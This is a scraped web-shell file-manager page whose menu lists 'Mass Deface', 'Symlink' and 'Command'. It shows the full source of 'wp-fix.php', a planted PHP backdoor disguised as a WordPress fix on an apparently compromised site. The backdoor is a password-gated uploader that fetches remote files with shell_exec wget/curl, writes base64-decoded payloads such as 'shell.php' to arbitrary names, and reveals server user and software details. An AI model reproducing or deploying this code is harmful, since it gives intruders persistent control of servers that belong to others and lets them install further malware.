PHP File Manager Mini
Current Dir :
/
home
/
matbet.fit
/
public_html
/
php
/[
drwxr-xr-x
]
Home
Config
Mass Deface
biasa [
Writable
]
home_root [
Writable
]
Jumping
Symlink
Auto edit user
dir
file
Adminer
Command
Logout
FILE EDITOR
Filename :
/home/matbet.fit/public_html/php/wp-fix.php
File Size :
8.493 KB
MIME-type :
text/x-php
Permission :
rrw-r--r--
Edit
Rename
Chmod
Delete
Download
<?php ob_start(); // Çıktı tamponlamayı başlat (Header hatalarını önler) /** * Gelişmiş Bypass Yükleyici (Cookie Versiyon - Beyaz Ekran Sorunu Çözüldü) */ // --- AYARLAR --- $password = "1qwer4"; // Şifren burası $upload_dir = "./"; // Yükleme dizini $cookie_name = "auth_" . md5(__FILE__); // Çerez adı dosya yoluna göre benzersiz olsun // --- GÜVENLİK KONTROLÜ (COOKIE SİSTEMİ) --- if (isset($_POST['pass'])) { if ($_POST['pass'] == $password) { $hashed_pass = md5($password); if (!headers_sent()) { // Herhangi bir çıktı(BOM vs) gönderilmediyse PHP ile yönlendir setcookie($cookie_name, $hashed_pass, time() + 3600 * 24); // 24 Saatlik çerez header("Location: ?"); // PHP_SELF yerine ? kullanmak bazı sunucularda daha güvenlidir exit; } else { // Eğer dosya başında boşluk vs. varsa header hata verir ve beyaz ekran oluşur. // Bunu engellemek için JavaScript ile çerez atayıp yönlendiriyoruz. echo "<script>document.cookie = '$cookie_name=$hashed_pass; path=/; max-age=86400;'; window.location.href='?';</script>"; exit; } } } // Çıkış yapma if (isset($_GET['logout'])) { if (!headers_sent()) { setcookie($cookie_name, "", time() - 3600); header("Location: ?"); exit; } else { echo "<script>document.cookie = '$cookie_name=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT;'; window.location.href='?';</script>"; exit; } } // Giriş kontrolü if (!isset($_COOKIE[$cookie_name]) || $_COOKIE[$cookie_name] != md5($password)) { die('<div style="margin:50px auto; width:300px; padding:20px; border:1px solid #ccc; background:#f9f9f9; text-align:center;"> <form method="POST"> <b>Giriş Şifresi:</b><br><br> <input type="password" name="pass" autofocus> <input type="submit" value="Giriş"> </form> </div>'); } // --- YARDIMCI FONKSİYONLAR --- function logMsg($msg, $color="green") { echo "<div style='color:$color; font-weight:bold; margin-bottom:10px; padding:10px; border:1px solid $color; background:#fff;'>$msg</div>"; } // --- İŞLEMLER --- // 1. YÖNTEM: URL'den Çekme (Wget / Curl / Copy) if (isset($_POST['action']) && $_POST['action'] == 'url_upload' && !empty($_POST['url'])) { $url = $_POST['url']; $filename = basename($url); if (!empty($_POST['custom_name'])) { $filename = $_POST['custom_name']; } $target = $upload_dir . $filename; $success = false; // Shell_exec (Wget/Curl) Denemeleri if (function_exists('shell_exec')) { @shell_exec("wget -O '$target' '$url'"); if (file_exists($target)) { $success = true; logMsg("Başarılı! Wget ile çekildi: $filename"); } else { @shell_exec("curl -o '$target' '$url'"); if (file_exists($target)) { $success = true; logMsg("Başarılı! Curl ile çekildi: $filename"); } } } // PHP Fonksiyonları Denemeleri if (!$success && !file_exists($target)) { if (@copy($url, $target)) { logMsg("Başarılı! PHP Copy ile çekildi: $filename"); } else { $content = @file_get_contents($url); if ($content) { @file_put_contents($target, $content); if (file_exists($target)) { logMsg("Başarılı! File_get_contents ile çekildi: $filename"); } else { logMsg("Hata! Dosya içeriği çekildi ancak sunucuya yazılamadı.", "red"); } } else { logMsg("Hata! URL'den dosya çekilemedi. Allow_url_fopen kapalı olabilir veya sunucu engelliyor.", "red"); } } } } // 2. YÖNTEM: Base64 (Metin) Olarak Yükleme (En Etkili Bypass) if (isset($_POST['action']) && $_POST['action'] == 'base64_upload' && !empty($_POST['b64_content'])) { $filename = $_POST['b64_name']; $content = base64_decode($_POST['b64_content']); $target = $upload_dir . $filename; if (@file_put_contents($target, $content)) { logMsg("Başarılı! Base64 yöntemiyle dosya oluşturuldu: $filename"); } else { logMsg("Hata! Base64 verisi yazılamadı. Dizin yazma izni (CHMOD) yetersiz olabilir.", "red"); } } // 3. YÖNTEM: Standart Dosya Yükleme if (isset($_FILES['dosya'])) { $target = $upload_dir . basename($_FILES['dosya']['name']); if (@move_uploaded_file($_FILES['dosya']['tmp_name'], $target)) { logMsg("Başarılı! Standart yükleme çalıştı."); } else { logMsg("Hata! Standart yükleme başarısız. (Dizin izni yok veya dosya çok büyük)", "red"); } } ?> <!DOCTYPE html> <html> <head> <title>Gelişmiş Yükleyici (Cookie Mode)</title> <style> body { font-family: sans-serif; background: #eee; padding: 20px; } .container { max-width: 800px; margin: 0 auto; } .box { background: white; padding: 15px; border: 1px solid #ccc; margin-bottom: 20px; border-radius: 5px; box-shadow: 1px 1px 5px rgba(0,0,0,0.1); } h3 { margin-top: 0; border-bottom: 2px solid #ddd; padding-bottom: 10px; color: #333; } input[type="text"], textarea { width: 100%; padding: 8px; margin-bottom: 10px; box-sizing: border-box; border: 1px solid #ccc; } input[type="submit"] { background: #007bff; color: white; border: none; padding: 10px 20px; cursor: pointer; } input[type="submit"]:hover { background: #0056b3; } small { color: #666; } </style> <script> // Bilgisayardaki dosyayı Base64 stringine çeviren fonksiyon function fileToBase64(input) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { var rawBase64 = e.target.result.split(',')[1]; document.getElementById('b64_area').value = rawBase64; document.getElementById('b64_name').value = input.files[0].name; } reader.readAsDataURL(input.files[0]); } } </script> </head> <body> <div class="container"> <div style="text-align:right;"><a href="?logout=1" style="color:red; text-decoration:none;">[Çıkış Yap]</a></div> <!-- YÖNTEM 1 --> <div class="box"> <h3>1. Standart Yükleme</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="dosya" required> <input type="submit" value="Yükle"> </form> </div> <!-- YÖNTEM 2 --> <div class="box"> <h3>2. Uzaktan Çek (Wget/Curl Simülasyonu)</h3> <p><small>Dosyayı Github/Pastebin gibi bir yere yükle, linki buraya yapıştır.</small></p> <form method="POST"> <input type="hidden" name="action" value="url_upload"> URL: <input type="text" name="url" placeholder="http://site.com/shell.txt" required> Dosya Adı: <input type="text" name="custom_name" placeholder="shell.php (Boş bırakılırsa URL'den alır)"> <input type="submit" value="Sunucuya Çek"> </form> </div> <!-- YÖNTEM 3 --> <div class="box"> <h3>3. Base64 Bypass (Dosyayı Metne Çevirip Yükle)</h3> <p><small>Dosya yükleme engellerini aşmak için en iyi yöntem.</small></p> Dosya Seç (Otomatik Dönüştür): <input type="file" onchange="fileToBase64(this)"> <br><br> <form method="POST"> <input type="hidden" name="action" value="base64_upload"> Kaydedilecek İsim: <input type="text" name="b64_name" id="b64_name" placeholder="shell.php" required> Base64 Kod: <textarea name="b64_content" id="b64_area" rows="6" placeholder="Dosya içeriği buraya kod olarak gelecek..." required></textarea> <input type="submit" value="Metni Dosya Olarak Kaydet"> </form> </div> <div class="box" style="background: #f1f1f1;"> <b>Bilgiler:</b><br> <small>Dizin: <?php echo function_exists('getcwd') ? @getcwd() : 'Bilinmiyor'; ?></small><br> <small>Kullanıcı: <?php echo function_exists('get_current_user') ? @get_current_user() : 'Bilinmiyor (Engelli)'; ?> (UID: <?php echo function_exists('getmyuid') ? @getmyuid() : 'Bilinmiyor'; ?>)</small><br> <small>Sunucu Yazılımı: <?php echo isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Bilinmiyor'; ?></small> </div> </div> </body> </html> <?php @ob_end_flush(); ?>